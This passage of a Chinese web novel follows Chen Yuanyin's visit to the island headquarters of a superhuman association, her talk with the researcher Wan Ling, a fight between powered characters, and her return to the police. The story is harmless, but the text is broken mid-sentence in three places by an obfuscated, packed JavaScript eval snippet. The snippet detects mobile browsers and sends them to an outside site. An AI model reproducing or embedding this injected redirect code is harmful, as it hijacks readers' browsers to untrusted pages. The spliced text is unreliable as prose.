“哦?是吗?打个赌吗?”郑裴撸起袖子,一脚踩在椅子上,踩得椅子吱嘎作响,他的双眼盯着她,挑衅的眉毛都要扬到天上去了。 “好啊来啊!赌什么啊?”陈元音被他这么一激,也来劲了,一脚踩在椅子上,像跷跷板一样被翘起的两个椅子腿儿顿时咔嚓一下被踩了下来,她把胳膊横着放在膝盖,眼神毫不退缩,盯着他那漆黑的、看得清倒影的瞳孔。 “赌你有一天会哭着——” 唰啦—— 郑裴的话被打断,他回过头看,是许宴进来了。 “会哭着什么?”陈元音仍然警惕地看他。 “没什么。”郑裴把腿放下去,直起身。 “哪有话说一半的!” “我不想说了不行吗?” “别吵了。”许宴面无表情地说,两人瞬间噤声,头纷纷同时转向相反方向,谁也不服。 房间里寂静无比,一根针掉下都能听见。 争吵期间夹在中间说了无数句劝告话却没有一个人听的谭琳琳此刻连呼吸都放缓了,用求救的眼神看着许宴。 真是乱上加乱,许宴捏了捏眉心。 “你今天没请假,算是翘班吧?”许宴回头对陈元音说,“如果你今天去总部接受等级判定的话,我们可以向上级汇报,给你开一个政府红头文件证明你是被突发事件被耽误的,就不用担心被扣工资了。” 陈元音:?! “车在哪停着呢?”她装作不在意的样子问,“你们的等级判定有什么注意事项吗?” 11. 别打了 陈元音突然软化的态度给所有人来了个措手不及,最后还是谭琳琳最知道她的德行,扶着额头解释了她的工作性质。 重点描述了她没有请假这件事,在上司那里会死得多惨。 不得不说,许宴随口一句就拿捏住了她的命脉,不愧是号称能看清所有物品原始形态的男人。 况且陈元音的气早消了,当时情况特殊她被黑雾附身动弹不得,换成她是对方也绝不会手下留情。 郑裴松了口气,越过她,先一步按住了打开的房门,又关上了。 陈元音腿一收,转身又站了回去,有点摸不准这人到底什么意思。 这是想让她去?还是不想让她去? 先有动作的反而是离门最远的许宴。许宴从领口摘下一个看起来像是的纽扣胸针的物件,小小的,泛着古朴的光,上面雕刻着浮起的精致花纹。陈元音仔细看了一眼,没看出什么名堂,只觉得像是古文物上拓印下来的纹路,一半是烈焰一半是波纹,太极阴阳图一样旋转的构造。 他用力按了一下,胸针就这样悬浮在离门一指前的位置。 没有任何支撑,也没听见类似无人机的风扇声。这枚纽扣就这样静静的,毫无声息地漂浮着。 “好了,现在可以开门了。” 陈元音注意到他用的字眼是“现在”,而不是别的什么,难道刚才不可以开门吗?还不等她追问,郑裴就已经拧开了门把手,率先走了出去。 几乎是打开门的同时,一股不知道来自何处的力量将她全身包围,海腥味,潮湿的触感最先抵达,然后再是眼睛看到门那边的东西——一片蓝色。 蓝色的大海,和蓝色天空。 “这是奇异博士的传送阵吗……”陈元音震惊之余喃喃道,她顿时明白了许宴那句“好了”的意义。 “什么?”许宴显然不是喜欢看电影的人,没听懂她的吐槽。 陈元音蹲在地上摸了摸,地上的灰色石砖烫烫的,带着细碎的砂砾。 最后三人都进了门,只有谭琳琳留下。 陈元音没回头,长发垂下来挡住了脸,看不见表情。 许宴刚想上前说些什么,郑裴非常敏锐地意识到气氛有些不对,对他缓缓地摇了摇头。 门在三人身后关闭。 “怎么样?”郑裴和她并肩站在海边的圆形观景台,得意地说,“这可是连卫星上都监察不到的岛屿,能抵抗末日级别的灾害。” 谁想知道这个啦……陈元音有点神志不清地想,她就这么走进一扇门,然后就来到了这里?一座岛?怎么做到的? 她不由得回头去找那扇他们走过的门。 门已经消失了,许宴重新将纽扣别在领口。 阳光大好,白鸽扑扇着翅膀飞过,湛蓝的天空中没有一丝云,微风拂面,大自然独有的气息让人心情很好。 这是一座海岛,不算大,没有任何商业模样,看起来很原始。 海岛中间有一棵巨树矗立着,陈元音短暂的二十多年生活除了郊区公园就没去过别的地方,还是第一次见到这么高、这么大的树。巨树有几十层楼那么高,树冠像一顶帽子,吊着的藤蔓围绕粗壮的树干,然后向四面八方延伸,宛如电影里走出来的神迹影像。 巨树的旁边则是这座原始海岛上最现代化的建筑,那是个和最高点有着同等高度的红色圆柱体建筑,像是两个巨人并肩而立看着大洋彼岸。 这里就是号称人类进化最先锋的觉醒者协会总部。 红色建筑物的大门从中间打开,一群穿着白大褂的人蜂拥而出,走在最前方的是位极为高挑的女人,漆黑的长发几乎到腰部,被束成高马尾。白色研究服上,除了协会标志外,还用金线绣着几个字母“DLS”。(DepartmentofLifeScience,生命科学研究院,这里指的是针对超能力者的基础生命研究学科) 许宴应该也是研究院的一员,一来就被其他研究员簇拥着,白衣和白衣几乎融为一体,而白衣们的领头人,此时正单手快速翻着许宴带来的纸质材料,面色冷酷,一句话都没有。 和她比起来,许宴都和蔼可亲了许多。 一直没个正形的郑裴也收敛了笑意,恭敬地低头对她说,“麻烦您看一下,她……” “少说废话,我一会儿还要去实验室,动作快点。”万灵冷冷地说,她大手一挥将手中的材料拍还给郑裴胸膛,大步流星朝红色大楼最下面的电梯走去,透明门自动打开向两边滑动,沉默上升的时候,陈元音的耳膜甚至有轻微的挤压感。 那种不适很快消失了,她有点紧张。带着她的女人从头到尾没有一句寒暄,所到之处像是有感应似的,通通咔咔咔全部开启。 昏暗的走廊顿时被映亮,陈元音小跑跟在后面,小心翼翼走进尽头那个挂着“万灵”牌子的房间,里面干净明亮,真皮沙发靠着墙,茶几上什么都没有,桌面和地面一样干净。 整个房间看起来和她领导办公室差不多的构造,只是因为东西少显得更加空旷。 小时候害怕老师,长大了害怕领导,陈元音有点打躇。 郑裴倚在门边,发现她回头看他,脸上重新挂上懒散的笑意,故意眨了眨眼睛,“要我一起进去吗?” 万灵停下脚步,看了门口那人几秒,然后嘭的一声,摔上了门。 震天响让陈元音情不自禁地挺直了背。 “我是研究院副院长万灵,许宴提交的评估报告我已经看了,你觉醒了能力这件事是板上钉钉的,你应该已经发现了。”陈元音怔怔地点头,面前的女人看起来和她差不多年纪,有着让她意外的高职位。 “具体的能力特征需要在总部待三天做完全部检查之后才能知道,等级报告也要等身体和精神检测出来的才能判定。”万灵一口气不停歇地说完全部,最后抬起头看她,“有疑问吗?” 有!很!多! 很多弱智问题陈元音卡在喉咙,压根不敢说。 从走进那扇门之后,或者更早往前,再警局见到郑裴那面之后,她就一直有一种不真切的感觉,仿佛一直悬浮在空中,找不到落脚地。 在看到总部的时候更甚,像做梦一样。 “为什么我们会拥有超能力呢?”陈元音思忖道,“或者说,这种能力在未来会普遍化吗?” 万灵抬起头,对她的问题有些讶异,“很有意思的问题,来这里的大部分人问出的第一个问题都是在问自己的能力是什么,我能不能飞,和我随便使用能力会被抓起来吗这种在我看来乱七八糟的问题。” 陈元音不好意思地扭了扭身子,她小时候遇到科幻电影上映随机采访,她问的也是那几个乱七八糟的问题来着。 万灵正了神色,“你听过‘显化’吗?” “一个人在网上发布了一张帖子,问照片里有几个人,有人说里面有一个,有人说有四个……八个,附和的人越来越多,能看到的也越来越多。” 精神能量向物质能量转变,一群人在讨论的过程中,显化出了本不存在的东西。 “一个人坚信不疑地相信一件事情,就可以影响其他人对这件事情的看法。”她认真看着她的时候,瞳孔里映着碎光,“那一群人呢?” 陈元音怔怔地看着她。 那如果,这一群人,是一群拥有超能力的觉醒者呢?她突然打了个寒颤。 “是比较玄学的范畴,听不懂也没有关系,这是我们研究员需要琢磨的东西。”说到研究的时候,万灵脸上才浮出一点浅浅的笑意。 “听懂了一点。”陈元音问,“这就是为什么要成立一个觉醒者联合在一起的机构吗?” “是的。”万灵点了点头,“拥有超能力的觉醒者理应联合在一起,这是人类能够共同进步的曙光,这儿也不是为了什么国家利益来胁迫那些持有不同态度的人,也永远不会。” 所以其实还是有持有其他态度的人,陈元音想。 “所有人的超能力,都是突然觉醒的吗?”她问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15398723|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万灵的表情带上了赞扬,对她问出这个问题十分满意,“能力通常是后天发现,但是根据研究表明,其实未来是否能够拥有超能力,在出生的那一刻基因序列中就带有了,只是能力发现早晚的问题。” “所以进化是人类的未来,我们现在做的,就是人工选择自然已经选择的觉醒者。” “是未来吗?”陈元音声音很小,“这样虚幻的字眼,值得吗?” “说这么宏大的目标确实很容易让人产生退意。”万灵点头,“你可以当作这是新世界的邀请。” “人是群体动物,你想,如果突然有一天你拥有和课本知识完全不同的体感,没有人会相信你,你会不会茫然不知所措。” “我会怀疑自己是世界的主角,现在要去拯救世界。”陈元音挠头,“见笑了,说出去会被送去精神病院吧。” “一个人迷惘很容易出现精神问题,所以需要群体的支撑。”万灵并没有否认这个说法,她话锋一转,“而且我们在几年前加设了心理医生的岗位。” 还真有精神病啊?陈元音的表情暴露了想法,万灵看得清清楚楚,轻笑说,“是不是觉得和爆米花电影里演的‘打架热燃爽就行了’不一样?” 一朵云整个笼罩住了太阳,明亮的办公室一暗,她抬起头认真地说,“进化是一条漫长又孤独的路,说不定要亲手手刃曾经亲近的失控者。一开始不认清楚这一点,到了无法躲避的时刻突然放手让失控者离开,可能会牵扯更多的人死去,到那种时刻我们可是会很难办的。” 郑裴倚在墙上等着结束,这一层是研究员的办公室,刚才进来的时候刚冲去地下一群研究员,嗷嗷地喊着“有进展了”,于是这一层空空荡荡,让郑裴松了一口气。 研究院的人并不喜欢他。 “太过分了。”一道声音幽幽地说,“听说某人霸王硬上弓失败,为保颜面恶狠狠把人家女孩子按在地上,是不是真的啊?” “你——”郑裴一听就知道是谁,他头也不回地伸手往阴影里发出能让人暂停的能力,阴影扭曲了一瞬又恢复了原状,发出噼里啪啦的声响,他的攻击在空中全被截停了。 发出声音的人从阴影里走出来。 如果陈元音此时在外面大概会愣一下,因为面前出现的人和万灵长得一模一样。 或许是研究院待久了,万灵的皮肤白皙得过分,在阳光下隐隐露出青色的血管,她身形修长,眼下还带着熬夜的浮肿,浑身上下透露着不耐烦。而万界则是健康的小麦肤色,像一只草原野豹,一刀切的短发英姿飒爽,整个人看起来气血十足。 除了和万灵长了一张一模一样的脸,其他都是完完全全相反的风格,没有一点相似之处。 “我来一趟你就跑来针对我一次是吧!” “我哪儿敢针对你啊,你是监察院的大宝贝,把虞觉放走都没人敢说一句呢……” 这时候万灵正在给她介绍等级,“能力等级判定从上到下分为S级、A-D级,最后是无能力者。” “你疯了吗万界?” 隔音不太好,陈元音的注意力有些分散,实际不分散也能听到外面的声音,实在是太大了。 “没听见?用你那没用的破能力自己回溯去听个百八十遍啊?”居然有比郑裴还嚣张的人。 “S级能力范围最广、破坏力极高,当前被判定为S级的全世界有11位……” 门外从单纯的讲话变吵架,一声更比一声高,万灵停下嘴边的话,镇静地起身,“稍等一下。” 砰一声巨响,郑裴和万界同时脸色大变,动作统一纷纷后跳一步,只见一把椅子从门里横着砸了出来,墙灰淅淅沥沥地往下掉,在两人中间的墙面上砸出一个凹陷的大坑。 陈元音站在她的身后,看万灵收回一个投掷的姿势,冷着脸指着外面对他俩说,“要打滚出去打。” 再回来后,她的语气明显轻松了很多:“没有别的问题的话,我就给你安排超能力等级判定的检查了?” 12. 是S级 S级的全世界竟然只有11位,没想到郑裴这么厉害! 面前的这位姐姐砸完墙,还能面不改色地坐下继续和她讲话,某种程度上应该是S级里面更厉害的那个。 陈元音肃然起敬。 “我还有最后一个问题。”陈元音再次开口前犹豫了一下,“虞觉是谁?” 万灵眼神一闪,陈元音还以为自己看错了,她背过身去,看着窗外随风翻滚的海浪,风吹来了淡淡的云丝,千丝万缕又裹挟了一片大的云彩,从高层往下看去,一片又一片的缀在海面上,像是块蓝色蛋糕上的装点奶油。 万灵单薄的背影有一丝落寞,她的面色沉重,表情严肃,“作为精神系觉醒者确实应该知道这个人,他的模样你最好是要刻骨铭心地记住才行,到时候新员工培训会重点讲解。A级以下见到这个人必须马上避开,所有精神系能力者禁止正面直视他。” 万灵从桌子的抽屉中抽出一份文件,打开第一页是一个男孩的半身照片,看起来是学生时代拍的,男孩黑色柔顺的头发服帖地留在耳旁,左边耳朵上戴着一个紫罗兰耳钉,笑容灿烂地看着镜头。 在学生时代绝对是风云人物,陈元音想,太帅了,是见一眼很难忘掉的人,难怪不让精神系直面他,光长相就杀伤力爆棚。 万灵的手指轻轻地抚摸过照片,“虞觉,S级,能力【心灵操控】,七年前操控三名监察董事炸了前总部,同时杀死了九十六名研究员,后经监察会批准的特大通缉觉醒者。” 陈元音的眼神骤然变了。 这时候打开了窗户吹进来一阵海风,高层特有的旋风扑面砸来,桌子上唯一的文件被风掀得哗啦作响。 “还有,不要当着郑裴的面提起这个人。”她听到万灵冷冰冰的声音裹挟在风声的呼啸里,“他们曾经是关系非常好的朋友。” 陈元音瞪大眼睛。 最好的,朋友? *** 操场上,阳光灿烂。 而万界和郑裴是真的要打起来了! “我们马上就离开。”许宴喘着粗气挡在万界面前。他刚一听说两人遇上了,就从地下研究所跑过来,堪堪在操场的铁丝网门口拦住两人。 但万界不好容易在总部逮到郑裴,岂会善罢甘休。 “许宴你让开。”万界单手五指呈爪状,四周的灰尘打着旋儿集中,在手掌中间亮起,发出危险的红光,她的双眼眼底也泛起红色,“按照以前的等级制度,你可没有资格站在我面前。哪怕我真的杀了你,他也什么也做不了。” “毕竟——”她的笑容里带着一团孩子气,眉宇间挂着挑衅,“他是个最没用的S级。” 许宴像是被当头狠狠揍了一拳,他身躯猛地一僵,万界顺利越过他,冲着郑裴就是一爪子。 *** 楼上,万灵逆着光和陈元音讲和总部的联系人。一般来说,都是觉醒后按照能力分配,或者是觉醒后关系较好的朋友,以及推荐者作为联系人。 陈元音的推荐者毫不意外是把她从「场」里薅出来的郑裴。 “如果可以的话,我建议你换一个联系人。”万灵思忖着。 “郑裴的能力为你的发展带不来任何好处,时间转换的能力说起来好听,但不会有任何用途。”她说:“不可否认,郑裴的能力很强。他能看到所有人的未来,能看到所有的走向和可能性,他的大脑无时不刻不在为此计算和分析所看到的东西。” 她罕见地暂停了两秒,才继续说,“可是那都只是看到。未来之所以迷人是因为未来的支线有无数种可能,普通人可以猜测,可他作为时间的主人,即便可以拨动时间点来跳跃和穿梭,那也永远不能改变未来。一旦经他说出口的未来,这件事就既定了,永远失去了另一种可能的发生。” “他永远无法说出口,因为代价这个世界付不起。蝴蝶扇动翅膀,西海岸会发生一场海啸。他这只蝴蝶必须自断双翅,什么都不做,只有什么都不做的时候才是最好的。” “你是个新人,当你在迷茫需要帮助的时候,他又能为你做什么呢?”万灵伸出手,拂过被风吹出来的一缕碎发,挽到耳后。 “还是能做很多事情的。”陈元音突然出声,万灵闻声回头,怔怔地看着她,介于少女和成熟女性中间最绚烂的年纪,她的眼睛澄净清澈,充满着希望。 “我不喜欢依赖别人,也并不是因为他是S级跟着他来到这里的。”陈元音挺了挺腰板,让自己说话变得更有气势一些,“我相信他不是个坏人,我也相信我自己的眼光。” “难怪他这个人虽然有时候有很奇怪的脾气,但在千钧一发之际意外地会奋不顾身。”她眉眼弯弯,话却毫不犹豫,“虽然与我无关,但是谢谢告知,我还是更喜欢用我自己的眼睛去看人,也更喜欢自己去做事。” “是吗?”万灵看着她,唇边带着一抹连她自己都未察觉的笑意,“那我会很期待。” 太酷了,陈元音觉得说出这种话的自己仿佛一个西部牛仔,又酷又飒。 两人相视一笑,话已至此,不必再多说了。这时候万灵从倚着的桌子上走了过来,露出身后那片红色的区域,看起来像大学的操场。 只是大学的操场如果有这种景象,一般也伴随着消防铃的声音。 “前辈。”陈元音指着窗外,疑惑地说,“那边好像冒烟了?” *** 万界是真的把万灵那句“要打出去打”当成了建议。 在结界门口,她越过许宴,迫不及待释放出手中的【尘爆】,万界可以控制空气中细小尘埃的能力量聚集,聚集到一定程度产生爆炸。手心的红光点射出去,四散开来,操场上的红色硅胶地顿时变得黑斑点点,露出丝丝缕缕的黑烟袅袅。 神奇的是,红点造成的爆炸状黑斑很快消失,又恢复了原来的样子。 “虽然在结界里,但动用【尘爆】也过分了吧,炸到无辜的人了怎么办?”郑裴虚空点了一下,围绕着操场的铁丝网门全数关闭,就连许宴也被关在外面。 这一下子彻底激怒了万界,她两手举在空中,“呼”一声响,以她为中心,地面上的所有小石子、被风从沙滩吹来沙砾,和细小的几乎看不见的灰尘,统统飘浮了起来。 就连操场外的人都感受到热气翻涌,那些已经够渺小的沙砾和石子迅速挤压变得更小、变到肉眼看不见的地步,然后从中发出一点红色的光芒。 热气铺天盖地地涌了上来,伴随着无数个红点。 铮——所有人呼吸停了一瞬。 围绕着郑裴四周所有的红光在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400082|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刹那被撕碎,几乎呼吸不上来的热度瞬间消散了一半。 许宴那紧张提起的一口气终于缓缓地呼了出来。 就在这时,晴空万里的天空,一道手臂粗的闪电当空而至,直直地冲着操场劈了下来! 千钧一发之际,郑裴一只手抓着刚刚还打得难舍难分的万界的腰带。 万界双脚腾空,双手双脚像条鱼一样空中在扑腾,要不是郑裴抓着,就要横冲直撞冲出去了,她对着操场外面的某个红头发的男人生气地喊,“你疯了吗?” “不这样,你们俩舍得分开吗?”红发男戏虐地说道,丝毫不在意那道闪电稍不留意就会劈死人。 “该死的红毛!”万界被郑裴抓在手里,举着拳头还不老实,周围又浮起上百个红点,不分敌我地冲着郑裴和红发男迅速飞去。 这简直变成了一场混战,结界来不及修复,地面就被新的迫害所覆盖。 红色激光刚落下,紧接着闪电冲着劈了下来,很快,红色的硅胶地块上变成了一个又一个大坑,最大尺寸的有一米多宽。 这些通通都打偏了。 不,即使是对着人打,也不会打中,所以他打得毫无结缔,得心应手,甚至有些开心。打普通人需要担心打死对方,即使是能力者也有可能发生这种情况,红发男开心地又劈下一声雷,绿色眼睛闪闪发亮,带着一种天真的暴虐。 那对普通人危险的闪电,在他手中犹如顽皮的小鱼。 真是太开心了,他甚至笑出了声,再一挥手,预想得更大闪电并未如他所愿降落。 下一瞬,郑裴一只手提着人,另一只手紧紧抓住他悬在空中的手腕,冷冷地盯着他的眼睛。 “哼,不打就算了。”红发男转移视线,从鼻腔中发出不屑的声音,他挣脱着跑了,一个管家模样的人带着两个穿着黑色保镖服装的男人忙不迭地跑了过来。 “少爷!少爷!”他们一个拿着毛巾,一个拿着手杯,还有个举着把遮阳伞,红发男在簇拥下悠闲地离开了。 “希金呢?”只花了三分钟就从电梯飞奔过来的万灵冷着脸问。 “跑了。”郑裴说。 陈元音在后面身后气喘吁吁,几乎要喘到昏厥,看万灵像个没事儿人似的,从郑裴手中接过她的双胞胎妹妹。 红发男在她们下来后消失得无影无踪,而万界则双手双脚悬空被郑裴提在腰带后头,交还给万灵。 万界嫌腰带勒肚子,不自然地扭动了一下,被万灵一巴掌扇了下后脑勺,立刻老老实实地低头认错。 “对不起!”万界满脸不服地说。 郑裴在一旁冷眼旁观。 这种冷着脸的矜贵神色反而更像是真正的他,陈元音的脑海中没任何由来地冒出这么一个念头。 他在万界和红发男的双重攻击下完好无损,甚至游刃有余。 这一瞬间,她立刻明白了郑裴当时说只是想逼黑雾从她身上下去这件事绝对是真的,如果他想要杀死一个人,决定不会浪费一分一秒。 那种力量上的差距,无需任何言语解释,一目了然。 如果他想,他可以在任何不被发现的情况下杀死对方,不对,即使发现了也毫无办法。 没人能抵抗时间。 这就是时间之主。 13. 选择 和万灵谈过后,事情就算是过了明路,只要等级判定和身体检查后等待进行正式的新员工培训就好了。 事情都结束了,万灵草草地嘱咐了几句,就拖着万界离开,空气中还残留着万界“哎哟哎哟”的叫喊声。 “真厉害啊。”陈元音远远地看着她的身影,羡慕地感叹,“要是能变成像她这样的S级就好了。” 气氛有一瞬间的停顿。 郑裴的表情有些古怪:“这话……你对万灵说了?” “还没来得及,真是遗憾。”陈元音神色黯然。 “太好了,永远别对她说出这句话。”他松了一口气。 凭什么!陈元音听到郑裴的无耻感叹,愤然抬头,还没来得及怒斥,就被下一句话惊得停在原地。 “万灵是无能力者。”他说,“这辈子最讨厌S级。” 陈元音满心喜欢的心咔嚓一声裂了。 她惊恐地一把抓住郑裴的手臂,诚恳地问,“你们这边连无能力者都这么厉害的吗?” 郑裴哭笑不得,正要解释,被一阵手机铃声打断了。 铃声正是从陈元音口袋里传出来的。 “您好,请问是陈元音小姐吗?”陈元音接起电话,是有点熟悉的声音,她想了好一会儿,经对方提醒才想起来是之前警局的小宋警官。 “请问您已经离开了吗?之前关于北园湖还有些事情想要了解下,您有时间来趟警局吗?” 天啊,她无力地仰望天空。 虽然体感已经过去了很久,但其实她从「场」里出来还没超过两个小时,而「场」里的时间流动几乎不算,她还有一摊子事儿丢在警局没结束呢! 海岛的风那么惬意,她却无福享受。 好在许宴那枚神奇的纽扣能让她直接开门走到警局门口,真的是太太太太方便了。 陈元音沉默地看着那枚纽扣,想着如果她也有一个,是不是上班日即使睡过头也不用担心,一开门就是公司…… “等你正式加入协会了,也会「门」的。”大概是陈元音对纽扣的渴望之情从眼神透露得格外强烈,许宴离开前安慰她道。 哎!正式加入协会……陈元音头痛地扶着自己的额头走进警局。说起正式加入这件事,她还要想方设法请假三天去参加等级判定考核,这个节骨眼上,老北会杀了他吧…… 还有谭琳琳……她深深地叹了口气。 陈元音怔怔地原地呆了好一会儿,警局门口大大的红色徽印熠熠生辉,她静静地看着,突然觉得好像有哪里不太对? 她后知后觉地才发现自己被许宴给摆了一道。 警察局也能出协助调查的证明的! *** 陈元音一走,许宴的办公室里只剩下郑裴和许宴两个人,方才斯文温柔得仿佛客服调解员的微笑顿时从郑裴脸上消失。 他重重地倒进沙发里,脸上全无表情,仿佛今天去总部这一趟耗费了他全部的情绪。 暖红色的阳光透过玻璃窗,将室内划分出一条明显分界线。看这逐渐染红的天空,晚霞应该很漂亮。 阳光在沙发前消失了,郑裴被笼罩在暗处,整个人看起来懒洋洋的。许宴淋着阳光,站在沙发前,表情带着困惑。 “为什么选她?比她强的精神系不是没有。” 因为刚刚希金现身的原因,郑裴至此还双唇紧抿,眼神肃杀,让许宴开口前犹豫了一会儿。 他眼神中隐约带着的冰冷,让人不知不觉寒颤。就连许宴这种不笑的人身上都起码会粘点儿人类的温度,可郑裴不笑的时候十分有距离感,仿佛这个世界上没有任何他在意的东西。 遥远,又薄情。 一如许宴最开始见到他的那样。 郑裴皱着眉仰头倒进沙发里,瞬间那抹冷酷便随着动作消失了。他“哎哟”一声,腰间有个硬邦邦的东西膈住他,伸手一摸,摸出来了个亮闪闪的扳手。 那个扳手还在这儿。 他干脆也不躺了,一手支着下巴,另一只手里的扳手随着手指灵活地翻滚,金属质的扳手在他手里灵巧得像支铅笔。 “在那个「场」里,我进入了【回溯】,从而发现了新娘有问题。” “是的,她控诉的时候有提到。”许宴指的是陈元音一醒来就控诉郑裴太过分了。 郑裴没理会他的调侃,眼睛盯着手中的那抹光亮,随着他的手指一上一下。 然后咣当一声掉到了许宴名贵的木质地板上,于是许宴那张冷漠的脸又冷了几分。 “但其实,我回溯的次数是十八次。”郑裴的语气漫不经心。 许宴的表情整个凝固起来。 “每一次,她所做的事情都和上一次不一样。”他从地板拾起来,对着许宴晃了晃手中握着的那个东西。 许宴皱了皱眉,“你是怀疑她「场」对她无用?还是觉得她身上有你要找的‘那个东西’?” “都有。”郑裴淡定地说。 “难怪你急着要把她圈入你的势力范围……”许宴沉吟,“有这样的怀疑估计要被总部扣去地下研究吧,可你会不会做得太明显了?” “我的举动很明显吗?”郑裴抬手指了指自己的脸,挑眉问道。 “有……一点……”许宴斟酌道,“毕竟你从未当过谁的联络人。” “凡事都有第一次。” “可是……” “我已经决定了。” 郑裴的声音低柔,带着不容再说的坚定。 他见她第一面就觉得,不抓住她,好像会丢掉什么东西……一些很重要的东西…… 他的目光突然变得幽深。 这才是他,许宴松了口气,这些年许宴对待郑裴一直是一种说不清道不明的态度。 七年前的事情改变了很多人,改变的最大的就是郑裴,虽然很多人对他态度的转变变得开心,但许宴始终认为郑裴一直被什么东西包裹着,他看不真切。 直到今天,这样斩钉截铁地说出不容置疑的话,这才是他。 做出的决定不容改变,无人可挡。 许宴心绪平静下来,走到桌前,那是一份关于陈元音能力解析的报告,其中有一条是手写的:「场」的限制能力对她疑似无作用。 他扯了扯嘴角,声音淡淡的,“那现在这份写着她能力的报告我交给研究院也没有关系了?” 郑裴劈手要夺回来。 “我大概明白你为什么选她了。”许宴动作迅速,没动用能力的郑裴一点儿报告的边都没捞着,他饶有深意地看着郑裴。 字迹变淡直至消失,重新成为一份天衣无缝的报告,和大多数交给总部的一样。 郑裴忽然笑了。 *** 16点43分,总部三十三层,办公室。 万灵很少坐在三十三楼的办公室,尽管这里有着超棒的阳光和落地窗景色。她更习惯待在地下那个暗沉的研究所,日复一日地做实验,然后在报告纸张画上一笔,对勾或打差。 打勾证明这个人的能力可控,可以单独任务,打差则相反,需要监管。 而现在,这个明亮的几乎没有什么东西的办公桌上,她的面前摆放着许宴提交的新人报告,陈元音的名字赫然放在第一页。 她浅翻了一下,报告字里行间都是许宴精简的个人风格,简单明了,一目了然,可万灵窝在一人宽的办公椅中,迟迟未能下笔。 新人刚走没多久,天空中就滚过一阵隆隆的轰鸣,潮热的海风夹杂着一股凉爽,海岛特有的雷阵雨季节,这是下雨的前奏。 乌云笼罩住巨树和总部大楼的上半部分,地面开始湿润,那片今天被几人霍霍的操场早就变得干净平滑,一丁点儿痕迹都没有留下。 总部大楼不知道用什么材质做的,完全阻挡了这片氤氲水汽,办公室依然干燥,连温度也没有因此下降。 万界神色恹恹地趴在沙发上,眼睛一开一合,困得快要栽过去了。 “我大概明白他为什么选这个人了。”万灵从盯着报告出神的状态中抬起头。 过了一会儿,万界才睡眼惺忪从双臂里抬起头:“什么?” 万灵无比严肃地看着自己手中的纸张。 “如果时空之主失控,她是世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412096|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上唯一一个能杀死他的人。” 万界腾地坐了起来。 *** 同一时间,陈元音走进了警察局,小宋警官站在门口等候她。 本以为要在警局耗费时间到夜晚了,没想到签字的笔录只有吴翡偷拍的,陈元音犹豫了一下,还是开口问道,“之前北园湖女尸那件事……” 话还没说完,小宋警官脸色就露出一种“好想报警啊可是仔细一想我自己就是警察”的崩溃感。他从牙缝里断断续续挤出几个字,“啊,那个案件被移交了。” “移交?不是你们辖区管吗?”她可还记得因为辖区问题第一次报警的事迹,当时小宋警官和沈警官闲聊说道他们这个派出所是全市命案破案率第一,谁都赶不上。 就这样厉害的警官,舍得把案件移交? “反正就……移交了呗……”小宋警官含糊地说。 “我作为路过的人证,不需要再补充做一份笔录了吗?”陈元音问。 “不用了。”小宋警官的声音低落。 有点不对劲,陈元音敏锐地察觉到了有哪里不对劲。 小宋警官人更恍惚,他都不记得自己是怎么从存放北园湖女尸的那间解剖室里头出来的,前一晚还好好的尸体今天就只剩下灰烬了,连白骨都没有剩下几块,在他觉得自己的职业生涯就此结束了的时候,所长说省级机构调走了这个案子,让他准备一下材料移交。 移交什么?小宋呆呆地想,哪儿还有什么能移交的啊?他的眼神虚浮地瞟向解剖台,正打算负荆请罪的时候,听到所长说尸体已经移交完毕了。 “尸体……被带走了?”小宋警官猛然抬头。 “对啊,我亲手签的字。”所长看着他的眼睛。 尸体被带走了?那剩下的灰烬是什么呢? 他不敢想。 他感觉到所长拍了拍他的肩膀,夸赞他这次事情做得不错。 他做了什么呢? 他什么都没有做而已。 “小宋警官……小宋警官?”见他回过神来,陈元音这才收回在他眼前晃着的手。 “啊,您说什么?” “吴翡的相机我有权利查看吗?”陈元音耸了耸肩,“你知道的,他拍了我很多照片,我想确认一下是否都删除了。” “那台相机拍到了北园湖犯罪现场,作为证物被拿走了。”小宋警官说。 证物可以被拿走,她这个人证反而不用做笔录吗? “好说,等移交部门结束后再联系我也可以。”陈元音微笑着,不经意地问,“移交给什么部门了呀?” “移交给了谁来着……”小宋警官仔细想了一会儿,“哦对,叫社会安全调查总部。” “没听过。”陈元音吐了吐舌头,“那等相机还回来记得联系我啊?” “没问题!”小宋警官答应了。 告别了小宋警官,转过身的陈元音脸色顿时沉了下去。 这样大的命案就这样毫无声息地被移交了?社会安全总部? 没想到郑裴他们还有这样大的官方身份。 有点头痛,在知道郑裴的身份后,她有考虑过是否真的加入觉醒者协会一事。虽然对着万灵她义正严辞地说她相信自己的眼光,也相信郑裴。 